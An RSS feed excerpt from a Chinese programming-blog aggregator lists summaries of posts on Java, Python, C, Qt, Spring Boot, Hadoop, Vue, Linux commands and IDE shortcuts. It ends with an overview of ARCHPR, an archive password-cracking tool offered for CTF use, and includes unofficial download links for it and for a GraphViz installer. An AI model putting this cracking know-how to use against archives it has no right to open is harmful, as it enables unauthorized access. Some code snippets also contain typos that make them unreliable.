      <description>面向对象基础 文章目录 面向对象基础1.面向对象的三大特征2.类3.创建对象4.对象在计算机中的执行原理5.对象的构造和初始化成员变量 6.类和对象的一些注意事项7.构造器8.this关键字9.static关键字使用区别 代码块static代码块对象初始化顺序静态成员与实例成员的区别对象数组 10.包封装类和类成员的访问控制封装在代码中的体现getter和setter方法的规则：成员变量和局部变量的区别getter和setter方法的规则：成员变量和局部变量的区别 1.面向对象的三大特征 封装继承多态 2.类 类的定义：具有相同的状态和相同的行为的一组对象的集合。&#xA;类是对象的模板，对象是类的具体实例。&#xA;组成 类有字段和方法两部分构成的，假如描述猫类，猫的属性包括“颜色”，“品种”。类的方法包括打印动物吃啥，打印动物在干啥。&#xA;面向对象设计的过程就是抽象的过程，也是设计类的过程，一般分为三步完成。&#xA;发现类，类定义了对象将会拥有的特性（字段）和行为（方法）。发现类的字段，对象所拥有的特性在类中的表示称为类的字段。发现类的方法，对象执行的操作称为类的方法。 类的定义&#xA;定义类就是定义了一个新的数据类型，这个数据类型就是类名。&#xA;Java的数据类型有基本数据类型和引用数据类型（类，接口，枚举，数组）&#xA;public class Cat{ public String color;//类的字段声明（属性） public String breed;//类的字段声明（属性） public void eat(){ System.out.println(&#34;猫猫正在吃鱼&#34;); }//类的方法声明（行为） } 访问修饰符如public，private等是可选的，具体可以看后面的文章。class是声明类的关键字类名的命名规则使用帕斯卡命名法，类名首字母大写 类的字段 字段使用变量表示&#xA;访问修饰符 数据类型 字段名;//见上面的表示 访问修饰符是可选的。除了访问修饰符外，其他部分与定义变量相同。 3.创建对象 类是一类事物的集合和抽象，代表着这类事物共有的字段和行为。一个对象称为类的一个实例，是类一次实例化的结果。&#xA;Cat cat = new Cat();//创建了一个猫类的具体对象 new是关键字，称为实例化。左边的类名为对象的数据类型。右边的类名( )称为类的构造方法。 使用对象 在java中，要引用对象的字段和方法，需要使用成员运算符“ . ”。&#xA;对象名.属性 // 引用对象的字段 对象名.方法名() // 引用对象的方法 4.对象在计算机中的执行原理 面向对象的代码执行原理和数组的执行原理非常类似&#xA;Cat cat = new Cat();这句话的原理如下&#xA;Cat cat表示的是在栈内存中，创建了一个Cat类型的变量，变量名为catnew Cat()在堆内存中创建一个对象，而对象中包含猫的属性名和属性值，同时系统会为这个Cat对象分配一个地址值0x4f5656接着把对象的地址赋值给栈内存中的变量cat，通过cat记录的地址就可以找到这个对象当执行cat.color=“花色”时，其实就是通过cat找到对象的地址，再通过对象找到对象的color属性，再给对象的color属性赋值为花色。 举个例子</description>
    </item>
    <item>
      <title>InvocationException: GraphViz‘s executables not found 解决方案</title>
      <link>https://bchobby.github.io/posts/3ff75ad0ff67b30fce159bccf2c15fb3/</link>
      <pubDate>Fri, 25 Aug 2023 22:28:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ff75ad0ff67b30fce159bccf2c15fb3/</guid>
      <description>InvocationException: GraphViz&#39;s executables not found&#xA;报错翻译：&#xA;调用错误：找不到GraphViz的可执行文件&#xA;问题产生说明：&#xA;我在生成树可视化中，为了将生成树以图片显示。应用了如下代码，运行之后报错。&#xA;graph=pydotplus.graph_from_dot_data(dot_data) Image(graph.create_png()) 解决办法如下：&#xA;1、在anaconda环境下安装，按照如下命令安装：&#xA;conda install pydotplus&#xA;conda install graphviz&#xA;2、虽然安装了这两个安装包，但是运行的时候还是报同样的错误。原来只安装graphviz这个python包还不够，还得需要安装GraphViz’s executables。Graphviz不是一个python tool，它是一个独立的软件。可以按照如下方法安装。&#xA;先下载：由于我在官网上没找到那个安装包，这个是在别人的博客上看到的。可供参考&#xA;链接：https://pan.baidu.com/s/1lnBmQspuBqzYevtPr1xuTQ 提取码：ioxf 双击 graphviz-2.38.msi 安装 3、将 graphviz-2.38\bin 下的所有文件都放到所在 anaconda 的虚拟环境的 Library\bin 中（我的是放在“C:\ProgramData\Anaconda3\Library\bin”）&#xA;最后成功，亲测可用！</description>
    </item>
    <item>
      <title>软考-计算机系统</title>
      <link>https://bchobby.github.io/posts/19f7cf25ef3aaf89052a9c0e5664e965/</link>
      <pubDate>Fri, 25 Aug 2023 16:01:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/19f7cf25ef3aaf89052a9c0e5664e965/</guid>
      <description>软考-计算机系统 CPU运算器 算术逻辑单元（ALU）负责算术运算和逻辑运算&#xA;累加寄存器（AC） 运算操作数和结果的寄存器&#xA;数据缓存寄存器（DR）CPU和其他设备之间的中转站&#xA;状态条件寄存器（PSW）略&#xA;CPU控制器 指令寄存器（IR）存放的是从内存中取得指令，就像个中间站一样，不过是存放指令的中间站&#xA;程序计数器（PC）存放的是指令的地址，还有计数的功能&#xA;地址寄存器（AR）存放的是cpu访问内存单元的地址&#xA;指令译码器（ID）是把操作码解析成对应的指令操作&#xA;原码 正数：符号位取 0 [+1]原 = 0 000 0001 负数：符号位取 1 [-1]原 = 1 000 0001 反码 负数：符号位不变，数值位置取反 [-1]反 = 1 111 1110 补码 负数：符号位不变，数值位置取反，最后加1 即反码加一&#xA;[-1]补 = 1 111 1111 移码 移码最简单了，不管正负数，只要将其补码的符号位取反即可。&#xA;正数：正反补一致 [+1]补 = 0 000 0001 机器码范围 0的机器码 [+0]原码=0 000 0000， [-0]原码=1 000 0000[+0]反码=0 000 0000， [-0]反码=1 111 1111[+0]补码=0 000 0000， [-0]补码=0 000 0000 浮点数运算 浮点数表示取值范围由阶码决定（e）精度由尾数决定小数点不需要占位 最大范围 最小范围 1.</description>
    </item>
    <item>
      <title>Qt：qRegisterMetaType为Qt信号和槽添加自定义参数类型</title>
      <link>https://bchobby.github.io/posts/827c554320dcc23ac4e839ecf6c9de0d/</link>
      <pubDate>Fri, 25 Aug 2023 15:43:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/827c554320dcc23ac4e839ecf6c9de0d/</guid>
      <description> 背景 qt信号和槽之间的参数传递默认只能传递qt内部已有的类型，例如QString等，若我们自定义类型作为参数时，虽然编译不会报错，但运行时会提示connect无效，无法识别自定义的类。&#xA;此时需要我们将自定义类进行注册，之后connect才可以使用&#xA;自定义类型并注册 //自定义类型 Struct MyTestSt{ int x{0}; int y{0}; } /* 为信号和槽声明自定义类，该声明一般在类声明之后 被声明的类需要提供公共默认构造函数、公共复制构造函数和公共析构函数 */ //1、声明一个新的元类型，该宏会使QMetaType知道该类型，声明之后就可以使用QVariant调用该类 Q_DECLARE_METATYPE(MyTestSt); //2、若想要声明的类可以在信号和槽中使用还需要注册该类，后面括号保持为空，否则就是相当于定义别名 static int id_my_struct = qRegisterMetaType&amp;lt;MyTestStMyTestSt&amp;gt;&amp;gt;(); //3、之后就可以定义带有自定义参数的信号和槽函数 signals: void test_signal_show(const MyTestSt) </description>
    </item>
    <item>
      <title>Python基础 - 字典</title>
      <link>https://bchobby.github.io/posts/98e694e2f51d803c45200efbb73441fb/</link>
      <pubDate>Fri, 25 Aug 2023 14:47:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98e694e2f51d803c45200efbb73441fb/</guid>
      <description>目录&#xA;1、字典的格式&#xA;2、创建字典&#xA;3、遍历访问字典中的值&#xA;4、检查字典中是否有某个键&#xA;5、更新字典数据&#xA;6、删除字典元素&#xA;7、字典的比较算法&#xA;8、合并字典&#xA;1、字典的格式 字典的每个键值key=&amp;gt;value对用冒号 : 分割，每个对之间用逗号,分割，整个字典包括在花括号{}中&#xA;d = {key1 : value1, key2 : value2 }&#xA;2、创建字典 dict()工厂函数被用来创建字典。如果不提供参数，会生成空字典。&#xA;d = dict(x=1,y=2) 输出：{&#39;x&#39;: 1, &#39;y&#39;: 2}&#xA;d = dict([[&#39;x&#39;, 1], [&#39;y&#39;, 2]]) 输出：{&#39;x&#39;: 1, &#39;y&#39;: 2}&#xA;d = dict(zip((&#39;x&#39;, &#39;y&#39;), (1, 2))) 输出：{&#39;x&#39;: 1, &#39;y&#39;: 2} 3、遍历访问字典中的值 d = dict(x=1,y=2,z=3) for k in d: print(&#34;key=%s,value=%s&#34; %(k,d[k])) 输出：&#xA;key=x,value=1&#xA;key=y,value=2&#xA;key=z,value=3 4、检查字典中是否有某个键 d = dict(x=1,y=2,z=3) result = &#34;</description>
    </item>
    <item>
      <title>C语言基础知识（2）</title>
      <link>https://bchobby.github.io/posts/bb75467562a4099895301b70ebbbeb2a/</link>
      <pubDate>Fri, 25 Aug 2023 14:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb75467562a4099895301b70ebbbeb2a/</guid>
      <description>C语言基础知识（2） 1. 常用的基础函数 1.1 字符输入输出函数 输入：getchar(); 输入一个字符&#xA;输出：putchar(); 输出一个字符&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char a; a = getchar();//函数给变量赋值，将输入的一个字符放到变量a中 //等价于scanf(&#34;%c&#34;, &amp;amp;a); putchar(a); //输出a中的字符，一次只能输出一个字符 //等价于printf(&#34;%c&#34;, a); putchar(&#39;\n&#39;); return 0; } 遍历字符串，以 ‘\0’ 作为字符串的结尾&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char a[100] = &#34;hello&#34;;// 使用字符串常量初始化数组a int i = 0; // 遍历字符串 while(a[i] != &#39;\0&#39;) { putchar(a[i]); i++ ; } putchar(&#39;\n&#39;); //或者 for(i = 0; a[i] != &#39;\0&#39;; i++) { putchar(a[i]);&#x9;} putchar(&#39;\n&#39;); retrun 0; } 1.</description>
    </item>
    <item>
      <title>SpringBoot监听Redis的Key失效，并执行回调方法</title>
      <link>https://bchobby.github.io/posts/825b8bde37d61932de09433bb36b8603/</link>
      <pubDate>Fri, 25 Aug 2023 11:58:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/825b8bde37d61932de09433bb36b8603/</guid>
      <description>修改Redis配置文件redis.conf，将notify-keyspace-events Ex配置项解开注释，第1075行左右。&#xA;Redis监听配置类&#xA;@Configuration public class RedisListenConfig { @Bean RedisMessageListenerContainer container(RedisConnectionFactory factory){ RedisMessageListenerContainer container=new RedisMessageListenerContainer(); container.setConnectionFactory(factory); return container; } } 监听带key失效的回调方法&#xA;@Component public class KeyExpiredListener extends KeyExpirationEventMessageListener { public KeyExpiredListener(RedisMessageListenerContainer listenerContainer) { super(listenerContainer); } /** * 使用该方法监听，当Redis的key失效的时候执行该方法 */ @Override public void onMessage(Message message, byte[] pattern) { //过期的key String expireKey=message.toString(); System.out.println(&#34;该key已经失效 = &#34; + expireKey); } } 编写测试类，添加一个key到Redsi中&#xA;@Test public void redisKeyExpireListen(){ String key=&#34;userId&#34;; redisTemplate.opsForValue().set(key,&#34;001&#34;,1, TimeUnit.MINUTES); } 结果</description>
    </item>
    <item>
      <title>Spring Boot项目启动时执行初始化方法</title>
      <link>https://bchobby.github.io/posts/643fb4eae043d99a15906060ab817b29/</link>
      <pubDate>Fri, 25 Aug 2023 11:57:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/643fb4eae043d99a15906060ab817b29/</guid>
      <description>在项目中，一般在进行缓存预热时，会在项目启动时将部分热点数据存入Redis。&#xA;实现步骤、导入Redis依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-data-redis&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.3.9.RELEASE&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 实现InitializingBean接口,重写afterPropertiesSet()方法，在项目启动时会执行afterPropertiesSet()方法。&#xA;/** * 项目启动时执行该方法 * @throws Exception */ @Override public void afterPropertiesSet() throws Exception { List&amp;lt;Item&amp;gt; list = itemService.list(); list.stream().map(item-&amp;gt;{ try { String itemJSON = MAPPER.writeValueAsString(item); //保存到Redis stringRedisTemplate.opsForValue().set(&#34;item:id:&#34;+item.getId(),itemJSON); return item; } catch (JsonProcessingException e) { e.printStackTrace(); return null; } }).collect(Collectors.toList()); List&amp;lt;ItemStock&amp;gt; itemStockList = itemStockService.list(); itemStockList.stream().map(itemStock-&amp;gt;{ try { String itemJSON = MAPPER.writeValueAsString(itemStock); //保存到Redis stringRedisTemplate.opsForValue().set(&#34;item:stock:id:&#34;+itemStock.getId(),itemJSON); return itemStock; } catch (JsonProcessingException e) { e.printStackTrace(); return null; } }).</description>
    </item>
    <item>
      <title>2021百度Create大会（暨百度AI开发者大会）</title>
      <link>https://bchobby.github.io/posts/0e20c5b29c6fbd2a1f398a6817bdc049/</link>
      <pubDate>Fri, 25 Aug 2023 11:38:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e20c5b29c6fbd2a1f398a6817bdc049/</guid>
      <description>官网：https://create.baidu.com/</description>
    </item>
    <item>
      <title>关于大数据，Hadoop、Kafka相关命令（持续更新...)</title>
      <link>https://bchobby.github.io/posts/c9cdd4ff435daae74731d68aa0f4fda9/</link>
      <pubDate>Fri, 25 Aug 2023 10:43:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c9cdd4ff435daae74731d68aa0f4fda9/</guid>
      <description>一、关于Hadoop，基本操作命令如下：&#xA;注：hadoop fs == hdfs dfs&#xA;创建文件夹&#xA;hdfs dfs -mkdir path&#xA;删除文件&#xA;hadoop fs -rm -r -skipTrash /path_to_file/file_name&#xA;删除文件夹&#xA;hadoop fs -rm -r -skipTrash /folder_name&#xA;修改文件夹权限&#xA;hdfs dfs -chmod [-R] 777 hdfs_file_path&#xA;二、关于Hadoop 主从节点切换&#xA;方案一：命令切换&#xA;查看节点状态&#xA;hdfs haadmin -getServiceState nn1&#xA;命令切换节点状态&#xA;到 hadoop 目录下执行：&#xA;1、将 NN2 切换为 Standby 备用节点&#xA;bin/hdfs haadmin -transitionToStandby --forcemanual nn2&#xA;2、将 NN1 切换为 Active 备用节点&#xA;bin/hdfs haadmin -transitionToActive --forcemanual nn1&#xA;效果图&#xA;详细可以参考以下链接： Hadoop集群 手动主备切换 （Active - Standby）_hadoop standby_温岚万叶的博客-CSDN博客</description>
    </item>
    <item>
      <title>Yarn——基础概念</title>
      <link>https://bchobby.github.io/posts/2cb30979780aa37e2881b3f6481afbab/</link>
      <pubDate>Fri, 25 Aug 2023 10:36:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2cb30979780aa37e2881b3f6481afbab/</guid>
      <description>1、Yarn 资源调度器 Yarn 是一个资源调度平台，负责为运算程序提供服务器运算资源，相当于一个分布式的操作系统平台，而 MapReduce 等运算程序则相当于运行于操作系统之上的应用程序。&#xA;2、Yarn的基础框架 YARN 主要由 ResourceManager、NodeManager、ApplicationMaster 和 Container 等组件构成。&#xA;ResourceManager（RM）主要作用如下&#xA;处理客户端请求监控NodeManager启动或监控ApplicationMaster资源的分配与调度 NodeManager（NM）主要作用如下&#xA;管理单个节点上的资源处理来自ResourceManager的命令处理来自ApplicationMaster的命令 ApplicationMaster（AM）作用如下&#xA;为应用程序申请资源并分配给内部的任务任务的监控与容错 Container&#xA;Container是YARN中的资源抽象，它封装了某个节点上的多维度资源，如内存、CPU、磁盘、网络等。&#xA;3、Yarn的工作机制 MR 程序提交到客户端所在的节点。YarnRunner 向 ResourceManager 申请一个 Application。RM 将该应用程序的资源路径返回给 YarnRunner。该程序将运行所需资源提交到 HDFS 上。程序资源提交完毕后，申请运行 mrAppMaster。RM 将用户的请求初始化成一个 Task。其中一个 NodeManager 领取到 Task 任务。该 NodeManager 创建容器 Container，并产生MRAppmaster。Container 从 HDFS 上拷贝资源到本地。MRAppmaster 向 RM 申请运行 MapTask 资源。RM 将运行 MapTask 任务分配给另外两个NodeManager，另两个 NodeManager 分别领取任务并创建容器。MR 向两个接收到任务的 NodeManager 发送程序启动脚本，这两个 NodeManager分别启动MapTask，MapTask 对数据分区排序。MrAppMaster等待所有MapTask运行完毕后，向RM申请容器，运行ReduceTask。ReduceTask 向 MapTask 获取相应分区的数据。程序运行完毕后，MR 会向 RM 申请注销自己。 4、作业全提交过程 4.1、HDFS、YARN、MapReduce三者关系 4.2、作业提交过程之YARN 4.</description>
    </item>
    <item>
      <title>【Java】SequenceInputStream类合并文件的使用</title>
      <link>https://bchobby.github.io/posts/83158cb64e3674c0a38bc23a2efe5c36/</link>
      <pubDate>Fri, 25 Aug 2023 10:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/83158cb64e3674c0a38bc23a2efe5c36/</guid>
      <description>SequenceInputStream 介绍&#xA;SequenceInputStream 类表示其他输入流的逻辑串联，即文件的合并。&#xA;它从输入流的有序集合开始，并从第一个输入流开始读取，直到到达文件末尾，接着从第二个输入流读取，依次类推，直到到达包含的最后一个输入流的文件末尾为止。&#xA;最近公司需要解码一种分包文件，多个文件组合成一个整体，进行解码操作&#xA;然后就用到了SequenceInputStream 流&#xA;具体代码示例应用如下：&#xA;List&amp;lt;InputStream&amp;gt; inputStreams = new ArrayList&amp;lt;&amp;gt;(); String s = null; Long fileSize = 0L; for (int i = 0; i &amp;lt; sList.size(); i++) { Path filePath = new Path(sList.get(i).toString()); InputStream is = fileSystem.open(filePath); inputStreams.add(is); if(ObjectUtils.isEmpty(s)){ s = sList.get(i).toString(); } // 算出多包文件的总字节数 fileSize = fileSize + fileSystem.getLength(filePath); } if(fileSize &amp;lt;= 0){ return ; } Enumeration&amp;lt;InputStream&amp;gt; inputStreamEnum = Collections.enumeration(inputStreams); SequenceInputStream sequenceInputStream = new SequenceInputStream(inputStreamEnum); BufferedInputStream buff = new BufferedInputStream(sequenceInputStream); MyDataBufferedInputStream dis = new MyDataBufferedInputStream(buff); 原文链接：https://blog.</description>
    </item>
    <item>
      <title>看完就懂的vue2与vue3响应式的区别</title>
      <link>https://bchobby.github.io/posts/0499ecd50b87e019e35ac47dd0bd93fc/</link>
      <pubDate>Thu, 24 Aug 2023 20:26:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0499ecd50b87e019e35ac47dd0bd93fc/</guid>
      <description>一、前言 数据响应式&#xA;所谓数据响应式就是建立响应式数据与依赖（调用了响应式数据的操作）之间的关系，当响应式数据发生变化时，可以通知那些使用了这些响应式数据的依赖操作进行相关更新操作，可以是DOM更新，也可以是执行一些回调函数。&#xA;从Vue2到Vue3都使用了响应式，那么它们之间有什么区别？&#xA;Vue2响应式：基于Object.defineProperty()实现的。Vue3响应式：基于Proxy实现的。 那么它们之间有什么区别？为什么Vue3会选择Proxy替代defineProperty？&#xA;请听我娓娓道来~~&#xA;重要插一句！！！！&#xA;defineProperty实际上是对象里面基本方法之一，而proxy是针对整个对象所有基本方法的拦截器。这是最本质的区别！！！！&#xA;二、Object.defineProperty() 1、Object.defineProperty Object.defineProperty(obj, prop, descriptor) 方法会直接在一个对象上定义一个新属性，或修改一个对象的现有属性，并返回此对象，其参数具体为：&#xA;obj：要定义属性的对象&#xA;prop：要定义或修改的 属性名称 或 Symbol&#xA;descriptor：要定义或修改的 属性描述符&#xA;从以上的描述就可以看出一些限制，比如： 目标是 对象属性，不是 整个对象 一次只能 定义或修改一个属性&#xA;当然有对应的一次处理多个属性的方法Object.defineProperties()，但在 vue 中并不适用，因为 vue不能提前知道用户传入的对象都有什么属性，因此还是得经过类似 Object.keys() + for 循环的方式获取所有的 key -&amp;gt;value，而这其实是没有必要使用 Object.defineProperties()&#xA;2、为什么使用Object.defineProperty const obj = { a: 1, b: 2, c: { a: 1, b: 2 } } // obj.a // obj.a = 3 首先思考：vue的响应式到底要干什么？无非就是做一件事，就是当我们读这个对象属性的时候，我们要知道它读了，我要做些别的事我要插一脚。当给它重新赋值的时候，我要知道它在重新赋值，我要插一脚。&#xA;上面代码现在这脚就插不进去，所以要想一个办法，把这个属性的读取和赋值变成一个函数，希望将来读这个属性的时候，运行这么个函数，给这个属性赋值的时候，把新的值传给我。一变函数就简单了，不要说插一脚，100脚都不是问题。&#xA;那怎么变成函数呢，在ES6之前，没有别的办法。只有Object.defineProperty()&#xA;const obj = { a: 1, b: 2, c: { a: 1, b: 2 } } let v = obj.</description>
    </item>
    <item>
      <title>如何读源码</title>
      <link>https://bchobby.github.io/posts/1913876621010405004e3ea13d0f51ee/</link>
      <pubDate>Thu, 24 Aug 2023 18:01:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1913876621010405004e3ea13d0f51ee/</guid>
      <description>链接：&#xA;https://blog.csdn.net/luoyang_java/article/details/112602640?ops_request_misc=&amp;amp;request_id=bef121fa940e488299bbbf924c9937fb&amp;amp;biz_id=&amp;amp;utm_medium=distribute.pc_search_result.none-task-blog-2blogkoosearch~default-1-112602640-null-null.268v1control&amp;amp;utm_term=%E5%A6%82%E4%BD%95%E8%AF%BB%E6%BA%90%E7%A0%81&amp;amp;spm=1018.2226.3001.4450</description>
    </item>
    <item>
      <title>在 Linux 中查找最大和最小的文件和目录</title>
      <link>https://bchobby.github.io/posts/7e8c38680f2866385d701530c84a3bc6/</link>
      <pubDate>Thu, 24 Aug 2023 17:39:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e8c38680f2866385d701530c84a3bc6/</guid>
      <description>Linux系统中的每个文件和目录都有一个相关的大小，通常用字节、千字节(KB)、兆字节(MB)、千兆字节(GB)等来衡量。虽然单个文件的大小相对简单，但目录的大小包括目录本身及其所有递归内容所消耗的总空间。&#xA;关键工具：du 和 find du（磁盘使用情况）：此命令估计文件和目录空间使用情况。它遍历目录并聚合单个文件占用的空间，显示目录的累积大小。find：用于在指定目录下查找文件和目录,使用不同的选项来过滤和限制查找的结果，可以与其他命令协同，以根据各种条件（包括大小）精确定位文件和目录。 查找最大的目录和文件 假设磁盘空间不足，需要清理一些空间。识别大型目录是合乎逻辑的第一步。要查明特定位置中最大的目录和文件，然后再针对性的进行文件的清理。&#xA;查找最大的目录 du -sh /home/user/* | sort -rh | head -n 10 执行后，将看到目录中前 10 个最大的目录&#xA;命令解读：&#xA;du -sh：du命令估计空间，标志-sh确保输出是人类可读的格式(-h)，并且我们正在总结总大小(-s)sort -rh：对结果进行排序。-r标志确保反向排序(最大优先)，-h确保像’ 2K ‘和’ 1M &#39;这样的大小以逻辑方式排序。head -n 10：输出过滤，只显示前10个结果 查找最大的文件 find /home/user -type f -exec du -h {} + | sort -rh | head -n 10 该命令将列出 /home/user 目录下最大的10个文件。type - f 确保只查找文件，不包括目录。&#xA;查找最小的目录和文件 查找最小的目录 du -sh /home/user/* | sort -h | head -n 10 此命令类似于最大目录的对应命令，列出 /home/user 下最小的10个目录 ，但根据大小按升序排列。</description>
    </item>
    <item>
      <title>NumPy和Pandas库的基本用法，用于数据处理和分析</title>
      <link>https://bchobby.github.io/posts/86334ca16f7c1a3dcd535a9ad951ac8e/</link>
      <pubDate>Thu, 24 Aug 2023 16:51:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/86334ca16f7c1a3dcd535a9ad951ac8e/</guid>
      <description>当涉及到数据处理和分析时，NumPy和Pandas是两个非常常用的Python库。下面是它们的基本用法：&#xA;NumPy（Numerical Python）：&#xA;导入NumPy库：在代码中使用import numpy as np导入NumPy库。&#xA;创建NumPy数组：使用np.array()函数可以创建一个NumPy数组。例如，arr = np.array([1, 2, 3, 4, 5])创建一个包含整数的一维数组。&#xA;数组操作：NumPy提供了许多函数和方法来操作数组。例如，可以使用arr.shape获取数组的形状，arr.dtype获取数组的数据类型，arr.reshape()改变数组的形状，arr.mean()计算数组的平均值等。&#xA;数组索引和切片：可以使用索引和切片操作来访问和修改数组中的元素。例如，arr[0]访问数组的第一个元素，arr[1:3]获取数组的第二个和第三个元素。&#xA;数组运算：NumPy支持对数组进行各种数学和逻辑运算。例如，可以使用np.add()、np.subtract()、np.multiply()和np.divide()执行数组的加法、减法、乘法和除法。&#xA;Pandas：&#xA;导入Pandas库：在代码中使用import pandas as pd导入Pandas库。&#xA;创建数据结构：Pandas提供了两种主要的数据结构，即Series和DataFrame。Series是一个带有标签的一维数组，而DataFrame是由行和列组成的二维表格。&#xA;加载数据：使用pd.read_csv()、pd.read_excel()等函数可以从文件中加载数据为DataFrame对象。&#xA;数据观察：使用df.head()查看DataFrame的前几行，默认为前5行。使用df.tail()查看DataFrame的最后几行。使用df.shape获取DataFrame的形状。使用df.columns查看DataFrame的列标签。&#xA;数据选择和过滤：可以使用列标签或条件来选择和过滤DataFrame中的数据。例如，df[‘column_name’]选择特定列，df[‘column_name’] &amp;gt; 5选择满足条件的行。&#xA;数据操作：Pandas提供了各种方法来对数据进行操作，如排序、合并、分组、聚合和连接等。例如，df.sort_values()按照指定的列进行排序，df.groupby()按照指定的列进行分组聚合。&#xA;数据处理：Pandas提供了许多函数和方法来处理数据，如填充缺失值、删除重复值、处理异常值等。例如，df.fillna()填充缺失值，df.drop_duplicates()删除重复值，df.dropna()删除包含缺失值的行。&#xA;以上是NumPy和Pandas库的基本用法，用于数据处理和分析。这只是其中一小部分功能，它们提供了更多的功能和灵活性，可以满足各种数据处理和分析的需求。建议查阅官方文档和教程，以深入了解它们的完整功能和用法。</description>
    </item>
    <item>
      <title>repo 常用命令汇总——202308</title>
      <link>https://bchobby.github.io/posts/807392489dd46e3ee489e15ffef38938/</link>
      <pubDate>Thu, 24 Aug 2023 14:39:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/807392489dd46e3ee489e15ffef38938/</guid>
      <description>文章目录 1. 下载repo：2. 获取工程repo信息3. 下载代码4. 创建并切换本地分支5. repo forall6. repo upload7. repo list8. repo info9. repo help 1. 下载repo： 使用下面命令，具体版本号参考前面网页中显示的最新版本号。&#xA;curl http://git-repo.googlecode.com/files/repo-1.19 &amp;gt; ~/bin/repo 修改执行权限&#xA;chmod a+x ~/bin/repo 2. 获取工程repo信息 本地创建一个工程目录，并进去&#xA;以下命令下载指定分支（branch）&#xA;repo init -u git://172.16.1.31/manifest.git （git地址） -b master repo init 作用 : 下载repo并克隆manifest&#xA;Options:&#xA;-u:指定一个URL，其连接到一个maniest仓库&#xA;-m:在manifest仓库中选择一个xml文件&#xA;-b:选择一个maniest仓库中的一个特殊的分支&#xA;命令repo init 要完成如下操作：&#xA;Ø 完成repo工具的完整下载，执行的repo脚本只是引导程序&#xA;Ø 克隆清单库manifest.git (地址来自于-u 参数)&#xA;Ø 克隆的清单库位于manifest.git中，克隆到本地.repo/manifests.清单.repo/manifest.xml只是符号链接，它指向.repo/manifests/default.xml&#xA;Ø 如果manifests中有多个xml文件，repo init 可以任意选择其中一个，默认选择是default.xml&#xA;3. 下载代码 repo sync 更新代码到最新的版本&#xA;用于参照清单文件.repo/manifest.xml克隆并同步版本库。如果某个项目版本库尚不存在，则执行repo sync 命令相当于执行git clone，如果项目版本库已经存在，则相当于执行下面的两条指令：</description>
    </item>
    <item>
      <title>python 常用快捷键汇总——202308</title>
      <link>https://bchobby.github.io/posts/5b6e7ed47014b678b5971060c98818de/</link>
      <pubDate>Thu, 24 Aug 2023 14:26:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b6e7ed47014b678b5971060c98818de/</guid>
      <description>一、编辑（Editing） 行注释/取消行注释 Ctrl+/&#xA;自动调整代码格式 Alt+Ctrl+L&#xA;快速查看文档 Ctrl+Q&#xA;剪切 Ctrl+X&#xA;复制 Ctrl+C&#xA;粘贴 Ctrl+V&#xA;选中 Ctrl+Alt+T&#xA;复制选定的行 Ctrl+D&#xA;删除选定的行 Ctrl+Y&#xA;整体右移（缩进）/左移（退格） Tab/Shift+Tab&#xA;选中代码移动 Alt+Shift+上下键&#xA;可以移动当前方法体，如果移动一行代码只能在代码体内移动 Ctrl+Shift+上下键&#xA;转换字母大小写 选中 + ctrl/command + shift + u&#xA;二、查找/替换(Search/Replace) 查找 Ctrl+F&#xA;替换 Ctrl+R&#xA;全局查找 Ctrl+Shift+F&#xA;全局替换 Ctrl+Shift+R&#xA;下一个 F3&#xA;三、运行(Running) 运行模式配置 Alt + Shift + F10&#xA;调试模式配置 Alt + Shift + F9&#xA;运行 Shift + F10&#xA;调试 Shift + F9&#xA;四、调试(Debugging) 断点开关 Ctrl + F8</description>
    </item>
    <item>
      <title>【实用工具】CTF比赛 压缩包口令破解工具-ARCHPR</title>
      <link>https://bchobby.github.io/posts/f8b46c96c0542fdb2bbd142d9f8d1080/</link>
      <pubDate>Thu, 24 Aug 2023 11:42:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8b46c96c0542fdb2bbd142d9f8d1080/</guid>
      <description>文章目录 软件简介软件下载软件使用1.页面展示2.操作提示3.功能演示 软件简介 ARCHPR是一款非常给力的压缩包口令破解工具，它可以帮助你轻松破解各种类型口令，例如纯数字口令、数字字母组合口令等，还包括但不限于明文、掩码、字典和暴力破解等模式。 软件下载 链接：https://pan.baidu.com/s/1Rr8Pdsr4tUNo_zRLEIY7cA?pwd=6666&#xA;提取码：6666&#xA;软件使用 1.页面展示 区域编号区域名称功能作用1文件加载区可以加载ZIP/RAR等加密文件并显示路径。2攻击类型区根据实际情况进行不同攻击类型选择，让破解更轻松。3配置区配置破解范围、长度或加载自定义字典等让破解更灵活。 2.操作提示 说明：&#xA;文中ARCHPR 为4.54版本，winrar为6.11评估版本，压缩包均为ZIP格式。&#xA;范围：&#xA;建议实行最小化原则，在不知道口令的前提下尽量少勾选范围选项，然后逐次增加破解范围。&#xA;长度：&#xA;猜测口令可能的长度，选择长度越长，破解时间越长。反之，时间就越短。&#xA;成功率：&#xA;1)口令必须在要在选择的范围内才能解出来，勾选越多，组合就越多，成功率上去了，但相对来说速度就会变慢。&#xA;2)成功率并不是100%。一是软件本身识别能力，比如有的压缩软件制作的压缩包甚至没法被识别，也就无法进行暴力破解了，这个和压缩软件以及此软件版本设计相关。二是算法问题，有的加密算法暂时没法进行算法逆向，所以没法破解。&#xA;3.功能演示 